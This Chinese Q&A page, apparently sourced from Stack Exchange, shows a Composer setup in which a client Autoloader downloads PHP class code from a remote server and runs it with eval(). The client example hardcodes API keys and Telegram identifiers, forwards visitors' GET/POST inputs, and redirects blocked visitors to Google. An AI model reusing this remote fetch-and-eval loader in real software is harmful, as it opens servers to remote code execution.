You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

求可跨服务器加载PHP文件的简易Composer脚本实现方案

跨服务器PHP文件加载的Composer方案实现

需求说明

需要实现一套基于Composer的跨服务器PHP文件加载方案:在客户端服务器上传Autoloader.php后,可通过指定代码从部署了Composer脚本的服务端加载PHP类,并完成身份认证、请求处理等逻辑。


一、服务端Composer配置

首先在服务端创建composer.json,定义Assets命名空间与目录的映射关系:

{
    "name": "vendor/remote-loader",
    "autoload": {
        "psr-4": {
            "Assets\\": "src/Assets/"
        }
    },
    "require": {}
}

执行命令生成自动加载文件:

composer dump-autoload

二、客户端Autoloader.php实现

该文件负责远程加载服务端的类文件,并携带认证信息:

<?php
class Autoloader
{
    private $serverUrl;
    private $authHeaders;

    public function __construct($serverUrl, $authData)
    {
        $this->serverUrl = rtrim($serverUrl, '/');
        $this->authHeaders = [
            "X-Api-Key: {$authData['api_key']}",
            "X-Username: {$authData['username']}"
        ];
        spl_autoload_register([$this, 'loadRemoteClass']);
    }

    private function loadRemoteClass($className)
    {
        // 仅处理Assets命名空间下的类
        if (strpos($className, 'Assets\\') !== 0) return;

        // 转换类名为服务端文件路径
        $classPath = str_replace('\\', '/', substr($className, 7)) . '.php';
        $remoteFileUrl = "{$this->serverUrl}/{$classPath}";

        // 请求服务端获取类代码
        $ch = curl_init($remoteFileUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $this->authHeaders);
        $classCode = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($httpCode !== 200) {
            throw new RuntimeException("加载类失败:HTTP状态码 {$httpCode}");
        }

        // 执行远程类代码
        eval('?>' . $classCode);
    }
}

三、服务端核心类实现

1. src/Assets/Generic.php(通用工具类)

<?php
namespace Assets;

class Generic
{
    public static function fetchGithubContent($url)
    {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $content = curl_exec($ch);
        curl_close($ch);
        return $content;
    }

    public static function getIp()
    {
        return $_SERVER['REMOTE_ADDR'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? 'unknown';
    }
}

2. src/Assets/Logger.php(日志类)

<?php
namespace Assets;

class Logger
{
    public function __construct()
    {
        // 可初始化日志存储(如文件、数据库)
    }

    public function log($message, $level = 'info')
    {
        error_log("[$level] " . date('Y-m-d H:i:s') . " - $message");
    }
}

3. src/Assets/Session.php(会话管理类)

<?php
namespace Assets;

class Session
{
    public function __construct()
    {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
    }

    public function set($key, $value)
    {
        $_SESSION[$key] = $value;
    }

    public function get($key)
    {
        return $_SESSION[$key] ?? null;
    }
}

4. src/Assets/Authenticator.php(身份认证类)

<?php
namespace Assets;

class Authenticator
{
    private $message;
    private $isBlocked = false;

    public function __construct($message)
    {
        $this->message = $message;
    }

    public function authenticate()
    {
        // 验证API密钥与用户名(实际应从配置/数据库读取有效值)
        $validApiKey = 'cdb6d872-0529-4358-ba29-bfae71cf3ed0';
        $validUsername = 'blanvla';

        if ($this->message['customer_info']['api_key'] !== $validApiKey || 
            $this->message['customer_info']['username'] !== $validUsername) {
            $this->isBlocked = true;
            return false;
        }

        // 可选:添加IP、UserAgent等额外验证逻辑
        return true;
    }

    public function isBlocked()
    {
        return $this->isBlocked;
    }
}

5. src/Assets/RequestHandler.php(请求处理类)

<?php
namespace Assets;

class RequestHandler
{
    public function handle($message)
    {
        $logger = new Logger();
        $clientIp = $message['client_info']['ip'];
        $requestMethod = $message['client_info']['method'];
        
        $logger->log("来自{$clientIp}的{$requestMethod}请求已接收");
        
        // 此处可添加业务逻辑处理(如转发请求、调用服务端业务类等)
        echo "请求处理完成";
    }
}

四、客户端使用示例

<?php
require_once(__DIR__ . DIRECTORY_SEPARATOR. "Autoloader.php");

class Config
{
    private $server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret;
    private $authenticator, $request, $message;
    
    public function __construct($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret){
        // 初始化远程类加载器
        new Autoloader($server_url, [
            'api_key' => $api_key,
            'username' => $username
        ]);
        
        $logger = new \Assets\Logger();
        $session = new \Assets\Session();
        $this->request = new \Assets\RequestHandler();
        
        $this->server_url = $server_url;
        $this->username = $username;
        $this->api_key = $api_key;
        $this->telegram_id = $telegram_id;
        $this->telegram_bot = $telegram_bot;
        $this->captcha_website = $captcha_website;
        $this->captcha_secret = $captcha_secret;
        $this->message = $this->createMessage();
        $this->authenticator = new \Assets\Authenticator($this->message);
        
        $this->run();
    }

    private function run(){
        if (!$this->authenticator->authenticate()){
            http_response_code(403);
            echo "未授权访问,请登录后继续";
            exit(0);
        }

        if ($this->authenticator->isBlocked()){
            http_response_code(302);
            header("Location: https://www.google.com");
            exit(0);
        }

        $this->request->handle($this->message);
    }

    private function createMessage(){
        return array(
            'customer_info' => array(
                'api_key' => $this->api_key,
                'chat_id' => $this->telegram_id,
                'telegram_bot' => $this->telegram_bot,
                'captcha_secret_key' => $this->captcha_secret,
                'captcha_website_key' => $this->captcha_website,
                'username' => $this->username,
            ),
            'client_info' => array(
                'ip' => \Assets\Generic::getIp(),
                'useragent' => $_SERVER['HTTP_USER_AGENT'],
                'method' => $_SERVER['REQUEST_METHOD'],
                'request_time' => time(),
                'inputs' => array(
                    'get' => $_GET,
                    'post' => $_POST
                )
            )
        );
    }
}

$server_url = "https://your-server-domain/src/Assets"; // 服务端Assets类根路径
$api_key = "cdb6d872-0529-4358-ba29-bfae71cf3ed0";
$username = "blanvla";
$telegram_id = "963065016";
$telegram_bot = "5371625949:AAHjcf";
$captcha_website = "RecaptchaV2-Site Key";
$captcha_secret = "RecaptchaV2-Secret Key";

$config = new Config($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret);

内容的提问来源于stack exchange,提问作者h4tsa Music

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.17 03:45:36